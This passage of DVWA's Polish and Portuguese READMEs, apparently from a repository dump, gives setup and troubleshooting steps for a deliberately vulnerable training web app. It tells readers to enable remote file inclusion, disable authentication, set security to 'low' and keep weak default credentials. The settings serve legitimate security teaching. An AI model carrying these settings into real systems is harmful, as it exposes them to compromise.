niż config.inc.php.dist, który jest przykładowym plikiem.*\n\nDomyślne wartości zmiennych są następujące:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nUwaga: jeśli korzystasz z MariaDB zamiast MySQL (MariaDB jest domyślną bazą danych w Kali), nie możesz użyć użytkownika root bazy danych, musisz utworzyć nowego użytkownika bazy danych. Aby to zrobić, połącz się z bazą danych jako użytkownik root, a następnie użyj następujących poleceń:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Wyłączenie Autoryzacji\n\nNiektóre narzędzia nie współgrają z autoryzacją, dlatego nie mogą być używane z DVWA. Aby to obejść, istnieje opcja w konfiguracji do wyłączenia sprawdzania autoryzacji. W tym celu ustaw następującą wartość w pliku konfiguracyjnym:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nBędziesz także musiał ustawić poziom bezpieczeństwa na odpowiedni do testów, które chcesz przeprowadzić:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nW tym stanie masz dostęp do wszystkich funkcji bez konieczności logowania się i ustawiania jakichkolwiek plików cookie.\n\n### Uprawnienia do Folderów\n\n* `./hackable/uploads/` - Folder ten musi mieć uprawnienia do zapisu dla usługi sieciowej (do przesyłania plików).\n\n### Konfiguracja PHP\n\nW systemach Linux lokalizacja to prawdopodobnie `/etc/php/x.x/fpm/php.ini` lub `/etc/php/x.x/apache2/php.ini`.\n\n* Aby umożliwić zdalne dołączanie plików (Remote File Inclusions, RFI):\n    * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n* Aby upewnić się, że PHP wyświetla wszystkie komunikaty o błędach:\n    * `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n    * `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nUpewnij się, że po dokonaniu zmian zrestartujesz usługę PHP lub Apache.\n\n### reCAPTCHA\n\nJest to wymagane tylko do laboratorium \"Insecure CAPTCHA\"; jeśli nie używasz tego laboratorium, możesz pominąć ten krok.\n\nWygeneruj parę kluczy API z <https://www.google.com/recaptcha/admin/create>.\n\nNastępnie umieść je w poniższych sekcjach pliku `./config/config.inc.php`:\n\n* `$_DVWA[ 'recaptcha_public_key' ]`\n* `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Domyślne Dane Logowania\n\n**Domyślna nazwa użytkownika = `admin`**\n\n**Domyślne hasło = `password`**\n\n_...łatwe do złamania metodą brute-force ;)_\n\nURL logowania: http://127.0.0.1/login.php\n\n_Uwaga: Ten adres będzie inny, jeśli zainstalowałeś DVWA w innym katalogu._\n- - -\n\n## Rozwiązywanie problemów\n\nZakładamy, że używasz dystrybucji opartej na Debianie, takiej jak Debian, Ubuntu lub Kali. W przypadku innych dystrybucji postępuj zgodnie z instrukcjami, dostosowując polecenia, gdzie to konieczne.\n\n### Kontenery\n\n#### Chcę uzyskać dostęp do logów\n\nJeśli używasz Docker Desktop, logi są dostępne w interfejsie graficznym.\nNiektóre drobne szczegóły mogą się zmieniać w nowszych wersjach, ale sposób dostępu powinien pozostać taki sam.\n\n![Podgląd DVWA compose](./docs/graphics/docker/overview.png)\n![Podgląd logów DVWA](docs/graphics/docker/detail.png)\n\nLogi można także uzyskać z terminala.\n\n1. Otwórz terminal i przejdź do katalogu DVWA\n2. Wyświetl scalone logi\n\n    ```shell\n    docker compose logs\n    ```\n\n   Jeśli chcesz wyeksportować logi do pliku, np. `dvwa.log`\n\n   ```shell\n   docker compose logs >dvwa.log\n   ```\n\n#### Chcę uruchomić DVWA na innym porcie\n\nNie używamy domyślnie portu 80 z kilku powodów:\n\n- Niektórzy użytkownicy mogą już korzystać z portu 80.\n- Niektórzy mogą używać silnika kontenerów bez uprawnień root (jak Podman), a port 80 jest portem uprzywilejowanym (< 1024). Konieczna jest dodatkowa konfiguracja (np. ustawienie `net.ipv4.ip_unprivileged_port_start`), ale musisz zbadać to we własnym zakresie.\n\nMożesz udostępnić DVWA na innym porcie, zmieniając wiązanie portu w pliku `compose.yml`.\nNa przykład, możesz zmienić\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nna\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA będzie teraz dostępne pod adresem `http://localhost:8806`.\n\nJeśli chcesz, aby DVWA było dostępne nie tylko z Twojego urządzenia, ale także w Twojej sieci lokalnej (np. w przypadku konfiguracji maszyny testowej na warsztaty), możesz usunąć `127.0.0.1:` z mapowania portu (lub zastąpić go swoim adresem IP LAN). Dzięki temu będzie nasłuchiwać na wszystkich dostępnych urządzeniach. Bezpiecznym domyślnym ustawieniem jest nasłuchiwanie wyłącznie na lokalnym urządzeniu loopback, ponieważ jest to bardzo podatna na ataki aplikacja działająca na Twojej maszynie.\n\n#### DVWA uruchamia się automatycznie po włączeniu Dockera\n\nDołączony plik [`compose.yml`](./compose.yml) automatycznie uruchamia DVWA i jego bazę danych po uruchomieniu Dockera.\n\nAby wyłączyć tę opcję, możesz usunąć lub zakomentować linie `restart: unless-stopped` w pliku [`compose.yml`](./compose.yml).\n\nJeśli chcesz tymczasowo wyłączyć tę funkcję, możesz uruchomić `docker compose stop` lub użyć Docker Desktop, znaleźć `dvwa` i kliknąć Stop. Dodatkowo możesz usunąć kontenery lub uruchomić `docker compose down`.\n\n### Pliki logów\n\nW systemach Linux Apache generowane są dwa domyślne pliki logów: `access.log` i `error.log`, a w systemach opartych na Debianie są one zwykle dostępne w `/var/log/apache2/`.\n\nPodczas zgłaszania błędów, problemów itp., prosimy o dołączenie przynajmniej ostatnich pięciu linii z każdego z tych plików. W systemach opartych na Debianie możesz to zrobić w następujący sposób:\n\n```\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n### Przejrzałem stronę i otrzymałem błąd 404\n\nJeśli napotykasz ten problem, musisz zrozumieć lokalizację plików. Domyślnie katalog główny dokumentów Apache (miejsce, gdzie szuka zawartości internetowej) to `/var/www/html`. Jeśli umieścisz plik `hello.txt` w tym katalogu, aby uzyskać do niego dostęp, przejdź do `http://localhost/hello.txt`.\n\nJeśli utworzysz katalog i umieścisz tam plik - `/var/www/html/mydir/hello.txt` - będziesz musiał przejść do `http://localhost/mydir/hello.txt`.\n\nLinux domyślnie rozróżnia wielkość liter, więc w powyższym przykładzie, jeśli spróbujesz przejść pod którykolwiek z poniższych adresów, otrzymasz błąd `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nJak to wpływa na DVWA? Większość osób korzysta z Gita, aby sklonować DVWA do katalogu `/var/www/html`, co daje im katalog `/var/www/html/DVWA/` ze wszystkimi plikami DVWA wewnątrz. Następnie przechodzą do `http://localhost/`, co skutkuje wyświetleniem błędu `404` lub domyślnej strony powitalnej Apache. Ponieważ pliki są w katalogu DVWA, musisz przejść do `http://localhost/DVWA`.\n\nInnym częstym błędem jest przejście pod `http://localhost/dvwa`, co spowoduje wyświetlenie błędu `404`, ponieważ `dvwa` nie jest tym samym, co `DVWA` według zasad porównywania katalogów w systemie Linux.\n\nPo konfiguracji, jeśli próbujesz odwiedzić stronę i otrzymujesz błąd `404`, zastanów się, gdzie zainstalowałeś pliki, gdzie znajdują się one względem katalogu głównego dokumentów i jaka wielkość liter została użyta w nazwach katalogów.\n\n### \"Odmowa dostępu\" podczas uruchamiania konfiguracji\n\nJeśli podczas uruchamiania skryptu konfiguracji pojawi się poniższy komunikat, oznacza to, że nazwa użytkownika lub hasło w pliku konfiguracyjnym nie pasują do tych skonfigurowanych w bazie danych:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nBłąd ten informuje, że używasz nazwy użytkownika `notdvwa`.\n\nPoniższy błąd oznacza, że wskazałeś plik konfiguracyjny na niewłaściwą bazę danych.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nTo oznacza, że używasz użytkownika `dvwa` i próbujesz połączyć się z bazą danych `notdvwa`.\n\nPierwszym krokiem jest dokładne sprawdzenie, czy to, co myślisz, że wpisałeś w pliku konfiguracyjnym, rzeczywiście tam jest.\n\nJeśli zgadza się z oczekiwaniami, następnym krokiem jest sprawdzenie, czy możesz zalogować się jako ten użytkownik z linii poleceń. Zakładając, że masz użytkownika bazy danych `dvwa` i hasło `p@ssw0rd`, wykonaj następujące polecenie:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n*Uwaga: Po `-p` nie ma spacji.*\n\nJeśli zobaczysz poniższy komunikat, hasło jest poprawne:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nSkoro możesz połączyć się z linii poleceń, prawdopodobnie coś jest nie tak w pliku konfiguracyjnym, sprawdź go ponownie, a jeśli nadal nie działa, zgłoś problem.\n\nJeśli zobaczysz poniższy komunikat, nazwa użytkownika lub hasło, których używasz, są nieprawidłowe. Powtórz kroki z [Konfiguracji bazy danych](#database-setup) i upewnij się, że używasz tej samej nazwy użytkownika i hasła przez cały proces.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nJeśli otrzymasz poniższy komunikat, poświadczenia użytkownika są poprawne, ale użytkownik nie ma dostępu do bazy danych. Ponownie powtórz kroki konfiguracji i sprawdź nazwę bazy danych, której używasz.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nOstatnim błędem, jaki możesz otrzymać, jest:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nNie jest to problem z autoryzacją, ale informacja, że serwer bazy danych nie działa. Uruchom go następującym poleceniem:\n\n```sh\nsudo service mysql start\n```\n### Odmowa połączenia\n\nBłąd podobny do poniższego:\n\n```\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\noznacza, że serwer bazy danych nie działa lub masz nieprawidłowy adres IP w pliku konfiguracyjnym.\n\nSprawdź tę linię w pliku konfiguracyjnym, aby zobaczyć, gdzie oczekiwany jest serwer bazy danych:\n\n```\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nNastępnie przejdź do tego serwera i sprawdź, czy działa. W systemie Linux można to sprawdzić za pomocą:\n\n```\nsystemctl status mariadb.service\n```\n\nPowinieneś zobaczyć coś podobnego, najważniejsza część to `active (running)`.\n\n```\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nJeśli serwer nie działa, możesz go uruchomić poleceniem:\n\n```\nsudo systemctl start mariadb.service \n```\n\nPamiętaj o `sudo` i wpisaniu hasła użytkownika Linuxa, jeśli zostaniesz o to poproszony.\n\nW systemie Windows sprawdź status w konsoli XAMPP.\n\n### Nieznana metoda uwierzytelniania\n\nW najnowszych wersjach MySQL domyślna konfiguracja uniemożliwia PHP komunikację z bazą danych. Jeśli podczas uruchamiania skryptu konfiguracji pojawi się następujący komunikat, oznacza to problem z konfiguracją:\n\n```\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nMasz dwie opcje, najprostszą jest odinstalowanie MySQL i zainstalowanie MariaDB. Oficjalny przewodnik projektu MariaDB można znaleźć tutaj:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternatywnie, postępuj zgodnie z poniższymi krokami:\n\n1. Jako root edytuj plik: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n2. Pod linią `[mysqld]` dodaj następujące:\n  `default-authentication-plugin=mysql_native_password`\n3. Zrestartuj bazę danych: `sudo service mysql restart`\n4. Sprawdź metodę uwierzytelniania dla użytkownika bazy danych:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n\n5. Prawdopodobnie zobaczysz `caching_sha2_password`. Jeśli tak, wykonaj następujące polecenie:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n6. Po ponownym sprawdzeniu powinieneś zobaczyć `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nPo wykonaniu tych kroków proces konfiguracji powinien działać normalnie.\n\nWięcej informacji można znaleźć na stronie: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Błąd bazy danych #2002: Brak takiego pliku lub katalogu.\n\nSerwer bazy danych nie działa. W dystrybucji opartej na Debianie możesz go uruchomić za pomocą:\n\n```sh\nsudo service mysql start\n```\n### Błędy „MySQL server has gone away” i „Packets out of order”\n\nIstnieje kilka przyczyn pojawienia się tych błędów, ale najbardziej prawdopodobną jest niekompatybilność wersji serwera bazy danych z wersją PHP.\n\nJest to najczęściej spotykane, gdy używasz najnowszej wersji MySQL, ponieważ współpraca między PHP a MySQL nie zawsze przebiega dobrze. Najlepszą radą jest przejście na MariaDB, ponieważ z tego problemu nie możemy zapewnić wsparcia.\n\nWięcej informacji znajdziesz tutaj:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Nie działa Command Injection\n\nApache może nie mieć wystarczających uprawnień do uruchamiania poleceń na serwerze WWW. Jeśli uruchamiasz DVWA na systemie Linux, upewnij się, że jesteś zalogowany jako root. W systemie Windows zaloguj się jako administrator.\n\n### Dlaczego baza danych nie może się połączyć na CentOS?\n\nMożesz napotkać problemy z SELinux. Możesz wyłączyć SELinux lub uruchomić poniższe polecenie, aby umożliwić serwerowi WWW połączenie z bazą danych:\n\n```\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Cokolwiek Innego\n\nW celu uzyskania najnowszych informacji o rozwiązywaniu problemów, przeczytaj zarówno otwarte, jak i zamknięte zgłoszenia w repozytorium Gita:\n\n<https://github.com/digininja/DVWA/issues>\n\nPrzed przesłaniem zgłoszenia upewnij się, że używasz najnowszej wersji kodu z repozytorium, a nie najnowszego wydania, tylko kodu z głównej gałęzi.\n\nPrzy zgłaszaniu błędu podaj co najmniej następujące informacje:\n\n- System operacyjny\n- Ostatnie 5 linii z dziennika błędów serwera WWW bezpośrednio po wystąpieniu zgłaszanego błędu\n- Jeśli jest to problem z uwierzytelnianiem do bazy danych, przejdź przez powyższe kroki i wykonaj zrzuty ekranu z każdego kroku. Dołącz je razem z fragmentem pliku konfiguracyjnego zawierającym nazwę użytkownika i hasło do bazy danych.\n- Pełen opis problemu, oczekiwany rezultat i działania, jakie podjąłeś, aby go rozwiązać. „Login nie działa” nie wystarczy, abyśmy zrozumieli Twój problem i mogli pomóc.\n\n- - -\n\n## Wstrzykiwanie SQL w SQLite3\n\n_Wsparcie dla tego jest ograniczone; przed zgłaszaniem problemów upewnij się, że jesteś gotowy do pracy nad debugowaniem, nie zgłaszaj po prostu „to nie działa”._\n\nDomyślnie SQLi i Blind SQLi są przeprowadzane na serwerze MariaDB/MySQL używanym przez witrynę, ale można przełączyć testowanie SQLi na SQLite3.\n\nNie będę omawiać konfiguracji SQLite3 z PHP, ale powinno wystarczyć zainstalowanie pakietu `php-sqlite3` i upewnienie się, że jest włączony.\n\nAby dokonać przełączenia, edytuj plik konfiguracyjny i dodaj lub zmodyfikuj te linie:\n\n```\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nDomyślnie używany jest plik `database/sqli.db`; jeśli go uszkodzisz, po prostu skopiuj `database/sqli.db.dist` na jego miejsce.\n\nWyzwania są dokładnie takie same, jak dla MySQL, tyle że działają na SQLite3.\n\n- - -\n\n👨‍💻 Współtwórcy\n-----\n\nDziękujemy za wszystkie wkłady i aktualizacje projektu. :heart:\n\nJeśli masz pomysł, propozycję ulepszenia lub po prostu chcesz współpracować, zapraszamy do udziału w projekcie, śmiało przesyłaj swoje PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Zgłaszanie błędów\n\nW skrócie: prosimy, nie zgłaszaj ich!\n\nRaz na jakiś czas ktoś zgłasza raport dotyczący błędu, który znalazł w aplikacji – niektóre są dobrze napisane, czasem nawet lepiej niż raporty z testów penetracyjnych, które widziałem, a niektóre to po prostu „brakuje nagłówków, zapłaćcie mi”.\n\nW 2023 roku sytuacja eskalowała, gdy ktoś zgłosił prośbę o nadanie CVE dla jednej z luk, i otrzymał numer [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Sytuacja była zabawna i czas został zmarnowany na poprawki.\n\nAplikacja zawiera podatności i jest to zamierzone. Większość to dobrze udokumentowane przypadki, które analizujesz jako lekcje, inne to „ukryte” luki, które masz znaleźć samodzielnie. Jeśli naprawdę chcesz pokazać swoje umiejętności w odnajdywaniu dodatkowych błędów, napisz post na blogu lub stwórz film – są osoby, które mogą być zainteresowane nauką, jak je znaleźć. Jeśli prześlesz nam link, możemy nawet uwzględnić go w odniesieniach.\n\n## Linki\n\nStrona projektu: <https://github.com/digininja/DVWA>\n\n*Stworzone przez zespół DVWA*\n"
  },
  {
    "path": "README.pt.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA) é um aplicativo web em PHP/MySQL que é extremamente vulnerável. Seu principal objetivo é auxiliar profissionais de segurança a testar suas habilidades e ferramentas em um ambiente legal, ajudar desenvolvedores web a entender melhor os processos de segurança de aplicações web e auxiliar tanto estudantes quanto professores a aprender sobre segurança de aplicações web em um entorno controlado em sala de aula.\n\nO objetivo do DVWA é permitir a prática de algumas das vulnerabilidades web mais comuns, com vários níveis de dificuldade, por meio de uma interface simples e direta.\nTenha em mente que existem vulnerabilidades documentadas e não documentadas neste software. Isso é intencional. Encorajamos você a tentar descobrir o maior número possível de problemas.\n- - -\n\n## AVISO!\n\nDVWA é muito vulnerável! **Não a carregue na pasta pública html do seu provedor de hospedagem ou em qualquer servidor voltado para a Internet**, pois eles serão comprometidos. É recomendável usar uma máquina virtual (como [VirtualBox](https://www.virtualbox.org/) ou [VMware](https://www.vmware.com/)), configurada no modo de rede NAT. Dentro da máquina virtual, você pode baixar e instalar o [XAMPP](https://www.apachefriends.org/) para o servidor web e banco de dados.\n\n### ISENÇÃO DE RESPONSABILIDADE\n\nNão nos responsabilizamos pela forma como alguém utiliza esta aplicação (DVWA). Deixamos claro os objetivos da aplicação e não deve ser utilizada maliciosamente. Foram fornecidos avisos e medidas para evitar que os usuários instalem o DVWA em servidores web ativos. Se o seu servidor web for comprometido através da instalação do DVWA, não é de nossa responsabilidade, mas sim da pessoa(s) que o instalou.\n\n- - -\n\n## Licença\n\nEste arquivo faz parte do Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) é um software livre: você pode redistribuí-lo e/ou modificá-lo sob os termos da Licença Pública Geral GNU, publicada pela Free Software Foundation, na versão 3 da Licença ou\n(em sua opção) qualquer versão posterior.\n\nDamn Vulnerable Web Application (DVWA) é distribuído na esperança de que seja útil,\nmas SEM NENHUMA GARANTIA; sem mesmo a garantia implícita de\nCOMERCIALIZAÇÃO ou ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO. Consulte a\nLicença Pública Geral GNU para obter mais detalhes.\n\nVocê deve ter recebido uma cópia da Licença Pública Geral GNU\njunto com o Damn Vulnerable Web Application (DVWA). Se não recebeu, consulte https://www.gnu.org/licenses/.\n\n- - -\n\n## Internationalisation\n\nEste arquivo está disponível em vários idiomas.\n\n- Árabe: [العربية](README.ar.md)\n- Chinês: [简体中文](README.zh.md)\n- Espanhol: [Español](README.es.md)\n- Francês: [Français](README.fr.md)\n- Inglês: [English](README.md)\n- Persa: [فارسی](README.fa.md)\n- Turco: [Türkçe](README.tr.md)\n\nSe você deseja contribuir com uma tradução, por favor envie uma solicitação de pull. No entanto, isso não significa apenas executar a tradução pelo Google Translate e enviar, pois essas serão rejeitadas. Envie a versão traduzida adicionando um novo arquivo 'README.xx.md' onde xx é o código de duas letras do idioma desejado (com base no [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Descarga\n\nEnquanto existem várias versões do DVWA disponíveis, a única versão suportada é a última do código-fonte do repositório oficial do GitHub. Você pode cloná-lo do repositório:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nOu [baixe um ZIP dos arquivos](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Instalação\n\n### Installation Videos\n\n- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nThe easiest way to install DVWA is to download and install [XAMPP](https://www.apachefriends.org/) if you do not already have a web server setup.\n\nXAMPP is a very easy to install Apache Distribution for Linux, Solaris, Windows and Mac OS X. The package includes the Apache web server, MySQL, PHP, Perl, a FTP server and phpMyAdmin.\n\nThis [video](https://youtu.be/Yzksa_WjnY0) walks you through the installation process for Windows but it should be similar for other OSs.\n\n### Arquivo de configuração\n\nDVWA vem com uma cópia fictícia do seu arquivo de configuração que você precisa copiar para o local correto e fazer as alterações apropriadas. No Linux, supondo que você esteja no diretório do DVWA, isso pode ser feito da seguinte forma:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nNo Windows, isso pode ser um pouco mais difícil se você estiver ocultando as extensões de arquivo. Se você não tem certeza disso, este post de blog explica mais sobre o assunto:\n\n[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Linux Packages\n\nSe você estiver usando uma distribuição Linux baseada em Debian, será necessário instalar os seguintes pacotes (ou seus equivalentes):\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nÉ recomendado fazer uma atualização antes disso para garantir que você vai obter a versão mais recente de tudo\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nEmbora o site possa funcionar com MySQL, recomendamos fortemente o uso do MariaDB, já que ele é compatível sem necessidade de ajustes adicionaisr.\n\n### Configuração do Banco de Dados\n\nPara configurar o banco de dados, basta clicar no botão `Setup DVWA` no menu principal e, em seguida, clicar no botão `Create / Reset Database`. Isso irá criar/reconfigurar o banco de dados para você com alguns dados.\n\nSe você receber um erro ao tentar criar seu banco de dados, verifique se suas credenciais do banco de dados estão corretas dentro de `./config/config.inc.php`. *Isso difere do config.inc.php.dist, que é um arquivo de exemplo.*\n\nPor padrão, as variáveis são definidas da seguinte maneira:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nObservação: se você estiver usando o MariaDB em vez do MySQL (o MariaDB é o padrão no Kali), você não pode usar o usuário root do banco de dados, você deve criar um novo usuário de banco de dados. Para fazer isso, conecte-se ao banco de dados como usuário root e use os seguintes comandos:\n\n```mysql\nmysql> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nmysql> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nmysql> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Desabilitar autenticação\n\nAlguns ferramentas não funcionam bem com autenticação e não podem ser usadas com o DVWA. Para contornar isso, há uma opção de configuração para desativar a verificação de autenticação. Para fazer isso, basta definir o seguinte no arquivo de configuração:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nVocê também precisará definir o nível de segurança que seja apropriado para os testes que deseja realizar:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\nNesse estado, você pode acessar todos os recursos sem precisar fazer login ou definir cookies.\n\n### Outra configuração\n\nDependendo do seu sistema operacional, assim como a versão do PHP, você pode desejar alterar a configuração padrão. A localização dos arquivos será diferente em cada máquina.\n\n**Permissões de diretório**:\n\n* `./hackable/uploads/` - Precisa estar com permissão de escrita pelo serviço web (para envio de arquivos).\n* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Precisa estar gravável pelo serviço web (se você deseja usar o PHPIDS).\n\n**PHP configuration**:\n* Para permitir Inclusões de Arquivos Remotos (RFI):\n    * `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n    * `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n* Para reduzir opcionalmente a verbosidade ocultando mensagens de aviso do PHP:\n    * `display_errors = off` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n\n**Arquivo: `config/config.inc.php`**:\n\n* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Esses valores precisam ser gerados em: https://www.google.com/recaptcha/admin/create\n\n### Credenciais Padrão\n\n**Default username = `admin`**\n\n**Default password = `password`**\n\n_...Podem ser facilmente bruteforceados ;)_\n\nLogin URL: http://127.0.0.1/login.php\n\n_Nota: Isso será diferente se você instalou o DVWA em um diretório diferente._\n\n- - -\n\n## Docker Container\n\n_Esta seção do readme foi adicionada por @thegrims, para suporte com Docker, por favor entre em contato com ele ou @opsxcq que é o mantenedor da imagem e repositório Docker. Qualquer ticket de problema provavelmente será encaminhado para eles e fechado._\n\n- [dockerhub site](https://hub.docker.com/r/vulnerables/web-dvwa/)\n`docker run --rm -it -p 80:80 vulnerables/web-dvwa`\n\nPor favor, certifique-se de que está usando aufs devido a problemas anteriores do MySQL. Execute `docker info` para verificar seu driver de armazenamento. Se não for aufs, altere-o como tal. Existem guias para cada sistema operacional sobre como fazer isso, mas são bastante diferentes, então não abordaremos isso aqui.\n\n- - -\n\n## Troubleshooting\n\nEstes pressupõem que você está em uma distribuição baseada em Debian, como Debian, Ubuntu e Kali. Para outras distribuições, siga o tutorial, mas atualize o comando, se necessário.\n\n### Acessei o site e obtive um erro 404\n\nSe você está tendo esse problema, precisa entender as localizações dos arquivos. Por padrão, a raiz do documento Apache (o local onde ele começa a procurar conteúdo da web) é `/var/www/html`. Se você colocar o arquivo `hello.txt` neste diretório, para acessá-lo, você deve navegar para `http://localhost/hello.txt`.\n\nSe você criou um diretório e colocou o arquivo lá - `/var/www/html/mydir/hello.txt` - você precisará navegar para `http://localhost/mydir/hello.txt`.\n\nO Linux é sensível a maiúsculas e minúsculas por padrão e, portanto, no exemplo acima, se você tentasse navegar em qualquer um desses endereços, receberia um erro `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nComo isso afeta o DVWA? A maioria das pessoas usa o Git para baixar o DVWA em `/var/www/html`, o que lhes dá o diretório `/var/www/html/DVWA/` com todos os arquivos do DVWA dentro dele. Então, eles navegam até `http://localhost/` e recebem um `404` ou a página de boas-vindas padrão do Apache. Como os arquivos estão em DVWA, você deve navegar para `http://localhost/DVWA`.\n\nO outro erro comum é navegar para `http://localhost/dvwa`, o que resultará em um erro `404` porque `dvwa` não é o mesmo que `DVWA` em termos de correspondência de diretório no Linux.\n\nPortanto, após a instalação, se você tentar visitar o site e receber um erro `404`, pense em onde instalou os arquivos, em relação à raiz do documento, e qual é a caixa (alta ou baixa).\n\n### \"Acess denied\" ao executar a configuração\n\nSe você vir o seguinte ao 